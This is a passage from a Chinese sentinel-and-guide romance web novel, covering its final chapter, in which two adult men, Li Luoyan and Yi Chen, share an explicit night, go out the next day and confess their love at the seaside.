黎珞言眼前看不见一点光亮,心里升起一种慌乱感,一只手却突然覆在他的手上,熟悉的气息覆在他身上。 细密的吻和滚烫的唇舌纠缠了一会儿后,一路往下,印上点点红痕。 他抱紧了面前唯一能感受到的温度,呼吸随着易谌的动作起伏着,嗓音有点哑,暗淡的绿眸里被水汽覆满,像是下一秒就会连串滚落出来,像大颗大颗成色极好的白珍珠一样:“易谌……我、我好像看不见了。” “你之前上生理课的时候是不是没认真听?”易谌仰了下头,热汗布满了脖颈,他按着自己的节奏动着,俯身吻了吻黑发绿眸的哨兵,“没关系,我可以慢慢教你。” 说实话,黎珞言活也很烂,没有任何技法,全凭本能,他有时候都在想,这个搞法真的不会一不小心给他捅穿吗?还是他自己来,心里比较有数。 黎珞言老老实实地说:“因为上课很无聊,我就睡觉了。” 双目无神的哨兵比平日里多了几分脆弱的姿态,看起来十分好欺负。也确实很好欺负,可怜巴巴地咬着嘴唇,唇肉被他咬的微陷进去。 易谌伸手干涉,把他的嘴唇解救了出来,指腹抵着洁白的齿,不让他咬着嘴巴。 黎珞言尖牙在易谌手指上没有用力地磨了磨。 “上课很无聊?”作为给黎珞言做了无数次深度疏导的向导,易谌能够调节他的五感,但显然生理课上睡觉的哨兵压根不知道这回事,“实践总不会无聊了吧。” 视觉关闭,听觉加强,敏感阈值降低…… 黎珞言眼睛骤然间睁大了些,放在蓄在眼睛里的泪水立刻滚落了出来,眼尾通红,他嘴里念着:“易谌!” 易谌没注意,被他一个翻身扑了过去,被力气很大的哨兵压在了身下。位置骤然颠倒,那东西在里面直愣愣转了一圈,不光是他闷哼了一声,黎珞言身体也颤了一下。 虽是被压制的姿势,易谌脸上神色却依旧带着笑意,似乎是想看黎珞言要做什么。 黎珞言一个没支撑住,滑了出来。他眼睛什么也看不见,手抓着面前的皮肤,有些无措地找着位置,肌肉形状流畅漂亮的小腿打着颤。 易谌只保证他不会摔下床,似笑非笑地问:“对的准吗老公?” 黎珞言用那双无神的绿眸瞪了他一眼,为自己正名:“当然。”他戳戳碰碰的,手也一直没闲着找位置。 他只是喝醉了,怎么可能对不准……但是易谌这人蔫坏,趁他喝醉了就戏弄他。 “瞪错位置了。”易谌把他的脸往上抬了抬,这下那双眼睛才能看见他的脸。他生着冷淡沉稳的脸,语气却带着调笑,开了空调的屋里,还是让他禁不住汗水滚落:“知道刚刚看的是哪里吗?” 他喉结滚动,看着一脸认真的黎珞言,话说了半截之后又不说了,不知道怎么回事,看着黎珞言那双纯澈的眼睛,烧话就在即将脱口的瞬间卡了壳。 黎珞言找了好一会都没找到位置,他感觉易谌肯定是在故意误导他,于是慢吞吞地舒出一口气,趴了下去,下巴倒是准确无误地抵在了易谌的肩膀上。——他每次累了就习惯性趴在易谌肩膀上休息。 “要不你帮帮我吧。”黎珞言脸颊贴了贴易谌的侧脸,无意识地撒着娇。 他看不见易谌的神色,易谌一侧头却能清晰看见他的整张脸。这样近距离地看着,黑发绿眸的哨兵实在长得太好看了点。 易谌对他实在没有什么抵抗力,在话音刚落时,盯着黎珞言的脸停顿了几秒,几乎是未经思索地,就应道:“……好”。 第 88 章【正文完】 第 88 章 “你会一直陪…… 天色大亮, 黎珞言怀里紧紧抱着枕头,被透过窗帘照射进来的光晃得实在睡不着了,勉强睁开眼睛, 嘴里嘟囔着:“易谌?” 他困恹恹地抱着枕头一动不动, 只一双眼睛转了几圈, 在视线范围内在房间里搜索想要看见的人,但被他喊到名字的人显然并不在房间里面。 过了好一会儿,睡得酣畅的哨兵终于慢吞吞爬了起来,伸了个懒腰,然后往后一仰,躺在靠枕上,黑发凌乱, 像是毛茸茸的小动物, 绿色眼眸呆呆地看着前方。这才慢悠悠地想,……能看见了。 他身上干净清爽, 躺着的床单也被换了新的,完全看不出昨夜的狼藉。 手在枕头底下摸了摸,没摸着终端,他眨了眨眼睛, 转过身, 茫然地把枕头被子都掀开了, 还是没找着终端。 坐在床上停顿了好一会儿, 他才突然想起昨晚上啪嗒的一声响,不会是终端摔下去了吧。 黎珞言抿了抿唇, 扒着床边探头往下瞧,果不其然在床底下摸到了自己的终端。 他按亮了屏幕,还好, 没摔坏。旋即就是一大片挡满屏幕的消息。他没急着回消息,视线落在时间上。 怎么都中午了? 黎珞言悠悠叹了口气,先找到和易谌的对话框。……怎么没给他发消息? 他刷新了好几下,确定没收到易谌的消息之后,又像模像样地叹了口气,开始回其他人的消息。 过了一小会儿,门被打开,易谌的脚步声很轻,在黎珞言抬头的瞬间,恰好和他眼神相撞。 “你去哪里了?”黎珞言率先出声,下巴趴在柔软的枕头上,纯白的枕头像是云朵,凹陷进去,把下巴都挡住了小半。 “饭。”易谌将手里提的袋子放在桌上,言简意赅。 黎珞言看着他打开里面的一个饭盒,像没骨头一样懒洋洋地倒在易谌怀里,支着个脑袋往里面瞅了一眼,撇了下嘴:“怎么是粥?” 清汤寡水的,都没有味道。 易谌用勺子舀了一勺粥喂到他嘴边,淡声问道:“你酒醒了?” 黎珞言抿了粥之后,牙齿咬住勺子不让他缩回去,弯起眼睛小狐狸一样笑,嘴里咬着勺子,声音听起来含含糊糊的,回道:“你昨天坐上来的时候,我就清醒了。” 易谌知道他说的坐上来是什么,唇角扯了扯,手上用力想把勺子扯出来,但扯不动。 黎珞言牙齿咬着勺子,昨天就是这口漂亮的牙在易谌的脖子上咬来咬去,跟小狗磨牙似的,不咬着点什么仿佛就会浑身不舒服,易谌昨晚扒拉了他好几次,被黎珞言用无神的、可怜巴巴的眼神盯了几秒过后,干脆就随他去了。 即便是刚刚才出门买了饭,易谌也丝毫没有要遮挡这些痕迹的意思,随意地套了件黑色的短袖,于是牙印红痕全都暴露得一干二净。 一头黑色短发凌厉潇洒,让看见他的人第一眼就觉得这是个不能轻易招惹的狠角色,然而领口上方密密麻麻的牙印又立刻颠覆了这种印象,充满了反差感。 他要扯勺子,黎珞言咬着,一双绿眸无辜地抬着望他。 易谌担心太用力扯会伤着他那口牙,于是唇角贴近黎珞言的唇,舌尖从并未合上的唇缝里探了进去,黎珞言几乎已经形成了条件反射,习惯性地迎合他的入侵,一时不察松开了嘴。 易谌趁机就把勺子抽了出来,没继续和黎珞言接吻,而是把勺子放回粥里,淡声道:“不喜欢喝粥的话也有米饭。” 他又把剩下的饭盒拿出来,打开之后是十分丰富的菜品,特别合黎珞言的口味。然后是一盒米饭。 黎珞言乖乖坐直身子,把米饭挪到自己面前,慢吞吞咬字:“我吃这个。” 吃饱喝足之后,黎珞言就和他一起收拾桌面上的东西,昨天的衣服都不能穿了,他只随意套了件浴袍,腰带松松垮垮地系着,黑发还是很凌乱,翘起几簇,脸颊漫着健康的红润,位于少年人和青年人之间的身体赏心悦目,走路间肌肉线条流畅的小腿若隐若现,带着点勾人心魄、欲拒还迎的漂亮。 “你怎么这么好啊。”收拾完之后,两人就躺在了床上,黎珞言抱住易谌,在他身上蹭了蹭,眼睛亮晶晶的,倏地弯了弯眼睛,嘴巴一张就喊道:“老公。” 易谌被他喊得眼皮颤了一下,立竿见影地起了反应。黎珞言紧紧抱着他,自然也能感受到他的反应。 易谌垂眸看着他,唇角禁不住扬起一个弧度,眉眼显出几分无奈:“怎么了?” 黎珞言把他的往下按一按,眼睛抬着望他:“不做了,我们现在出去玩吧。好不好老公?” 外面天气晴朗,没有晒人的太阳,空气也很清新,是很适合出游的天气。 易谌**的青筋跳了跳,黎珞言掌心感受到之后,一本正经地又往下按了按,眼睛越发真诚地望着易谌。 他真的很想出去玩。 “好,”易谌面无表情地起身,但耳根红得快要滴血,走向卫生间时脚步还不小心地绊了一下,语气似是有点慌乱,“等我先去解决一下。” 黎珞言眨了眨眼睛,手上一瞬间空了下来,拖长语调说:“好吧。” …… 打电话让酒店送了衣服上来,两人收拾齐整之后就出了门。 黎珞言真的很喜欢出门,一只手牵着易谌的,和他紧紧握着。他忍不住到处转悠,走进店里看那些杂七杂八的小玩意儿的时候,易谌就站在他旁边安静地看着他。 “这个手串会动欸。”黎珞言把那个手串拿在手里,让易谌看。 易谌看过来后,他就伸手按了一下手串中间的小梨子形状的木雕,那个小梨子突然就摇头晃脑地动了起来。 黎珞言眼睛一下就弯了起来,垂眸看着那个灵动的小梨子。 易谌看着自己面前的梨子,倏地也弯了眸,语气淡而沉稳,应了声:“是很可爱。” 出了这家店之后,那个手串就戴在了易谌的手腕上。是黎珞言亲手给他戴上的,易谌想拒绝来着,但看他兴致勃勃的模样,嘴巴张了张又合上了。 气质冷峻、身高腿长的向导手腕上却带了个小梨子手串,看起来手串和他本人的气质相当格格不入,但他本人看上去倒是挺习惯这个装饰物了,时不时就伸手摩梭几下。 “吃葡萄吗?”易谌看到了水果店里又大又圆润的黑葡萄,问他。 黎珞言犹豫几秒后,摇了摇头,突然想起来什么,说道:“尹惟家里种的葡萄很好吃。” “她说下回偷几串出来给我,我催催她,我们就有葡萄吃了。” 他这时候行动倒是很强了,说着就把终端掏了出来,开始发消息给尹惟了。 易谌:? 易谌合理提出疑问:“她们家里还种葡萄?”听着怎么感觉像是转到了农业频道? “是啊……”黎珞言在发消息的空隙抬起头来,歪了歪脑袋,“不过她说是专门培育的变异葡萄……我上次看过了,这么漂亮的圆葡萄一定很好吃。” 易谌眼皮跳了一下:“变异葡萄也能吃吗?” 黎珞言朝他眨了下眼睛:“只是含有营养液功效的葡萄啦,特别好吃,你相信我……” 他最近讲话时不时就喜欢拖长尾音,就跟撒娇似的,眼睛还亮晶晶的,就跟进入热恋期了一样,说话都泛着甜意。 易谌忍不住捏了捏他的脸,但他脸上本来就没什么肉,被星盗抓走一趟之后就更是瘦了,这种瘦削让他的五官显得更是立体俊俏,锋利的攻击性在不做表情的时候都快溢出来了。 但易谌这样看着他,心里只感觉有些难受,心脏有些酸胀。 还是喂胖点比较好。 黎珞言不知道他在想什么,只是安静又乖巧地看着他。 天色逐渐暗下来,两人就在黄昏中散起了步。 “我们去看海吧。”黎珞言看着快要落下的太阳,山把落日挡了一半,还在缓缓下落,很漂亮的风景。 他思维跳脱,突然觉得在海边欣赏落日会更加好看。 易谌竟然也毫不犹豫地应了下来,似乎并不觉得这样突然提出的要求有什么不合理的地方。 两人打了辆飞行器,很快就到了海边。 海边的落日的确很美。 黎珞言往前跑了好几米,鞋子踩在绵软的沙上,感受着迎面吹来的凉爽海风。 浅蓝色的海水被落日照得泛着金光,海水缓缓挪上了岸,几秒后又滑了下去。黎珞言蹲下身,手轻轻伸进海里,清爽的凉意从手一直传到手臂,再传到浑身上下的每一个地方。 似乎具有消除一切烦恼的神奇功效。 他一侧头,就发现易谌在自己的身边。 易谌总是沉默的,安静的,但是好像每一次他想到他的时候,就会发现他在自己的身边。 “你会一直陪着我吗?” 夕阳的光在绿色的眼睛里摇曳,那双眼睛清澈、干净,充满了信赖与依恋地望着易谌。 没有人能被这样看着还不动容,易谌感觉心跳都不由自主停顿了一秒,旋即就像吃了兴奋剂一样猛烈地跳动起来。 心跳声大到黎珞言也可以清晰听见,他伸手轻轻触碰着易谌的左胸口,感受着胸腔的震颤,轻声说:“你心跳好快……” 易谌眯了下眼睛,一点点逼近黎珞言,直到和他只剩一厘米的距离时才停住:“因为我……” 他又贴近了一点,鼻尖轻触着黎珞言的鼻尖,暧昧的气息打在他的脸上,哨兵的脸颊逐渐被染上一点绯红,红色蔓延开。 “我爱你,”易谌说,“所以我会永远在你身边。” 漆黑的眸子深沉,像是透不进光的黑洞,神情也在说话的这一刻变得严肃又郑重,像是做下了某种必须遵守的承诺。 黎珞言突然凑上前,吻上了他的唇,浅尝辄止地亲吻了一下。 “我也……” 黎珞言微微垂眸,纤长的睫毛挡住了水润的眸子,他没有说过那个词,因此开口时有些停顿和迟疑。但没过一会儿,就抬起眸子,专注地看着易谌,声音有点小,但离他极近的易谌能够清晰听见:“我也爱你。” “非常。”黎珞言又补充道,神情认真。 易谌唇角翘起,这一次主动学着他幼稚的行为,朝他伸出小拇指,酷哥一样的人此时淡声道:“那拉钩。” 黎珞言便伸出小拇指勾住他的,还盖了个章,眼睛弯起来在笑。 海风把他的头发吹得乱了,但眼睛却亮得惊人。易谌平静地看了他几秒,情不自禁地凑近又吻了上去。 ———正文完结———